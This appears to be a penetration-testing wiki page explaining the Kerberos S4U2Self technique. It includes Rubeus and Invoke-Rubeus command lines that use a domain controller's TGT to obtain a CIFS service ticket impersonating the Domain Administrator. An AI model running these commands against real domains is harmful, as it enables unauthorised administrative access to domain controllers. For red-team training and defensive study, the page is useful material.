# S4U2Self

If we manage to obtain a Ticket Granting Ticket (TGT) for a system on the domain and then import that ticket into a logon session, we would not be able to access it. This is due to the fact the system accounts do not have remote access privileges over themselves.&#x20;

The image below represents a logon session where a TGT for the Domain Controller DC01 has been imported.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FepjuAMZHzUk1pWUEp00F%2Fimage.png?alt=media&#x26;token=63571af4-2608-4614-9821-a36e6894773e" alt=""><figcaption></figcaption></figure>

As the Domain Controller does not have remote access privileges over itself it is not possible to list the contents of its C$ drive remotely.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F6vB4fOoeQzR8xB4u5DhN%2Fimage.png?alt=media&#x26;token=8f144af3-64ec-48f9-a113-4ca1146c335a" alt=""><figcaption></figcaption></figure>

However, a technique exists called S4U2Self where we are able to obtain a Ticket Granting Service (TGS) as a user who we know has administrative rights over the Domain Controller. For example, any Domain Administrator.

Rubeus has the `/self` flag for this.

{% tabs %}
{% tab title="Rubeus Binary" %}

```bash
# Syntax
Rubeus.exe s4u /impersonateuser:[User-To-Impersonate] /self 
/altservice:[Service/FQDN] /user:[User] /ticket:[Base64 Ticket] /nowrap

# In practice
Rubeus.exe s4u /impersonateuser:Administrator /self 
/altservice:cifs/dc01.security.local /user:dc01$ /ticket:iujhdfdsf== /nowrap
```

{% endtab %}

{% tab title="Invoke-Rubeus" %}
{% code overflow="wrap" %}

```powershell
Invoke-Rubeus -Command "s4u /impersonateuser:[User-To-Impersonate] /self 
/altservice:[Service/FQDN] /user:[User] /ticket:[Base64 Ticket] /nowrap"
```

{% endcode %}
{% endtab %}
{% endtabs %}

Below, using the TGT of the Domain Controller obtained earlier and using the command examples above, we are able to requests a TGS to the Domain Controller DC01 for the CIFS server as the native Domain Administrator account.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FsSzF9PVW8NV2BJcpz4Oz%2Fimage.png?alt=media&#x26;token=197cf1b1-89b2-4733-a8d9-17f90a2ad3f7" alt=""><figcaption></figcaption></figure>

This ticket was then imported into a new current session. We can now see the cached tickets is for the Administrator to the CIFS server on the Domain Controller.

<figure><img src="https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F88erlSC1MsAwefQytELi%2Fimage.png?alt=media&#x26;token=3608bfd1-4cd5-43b5-838d-5c7b065be855" alt=""><figcaption></figcaption></figure>
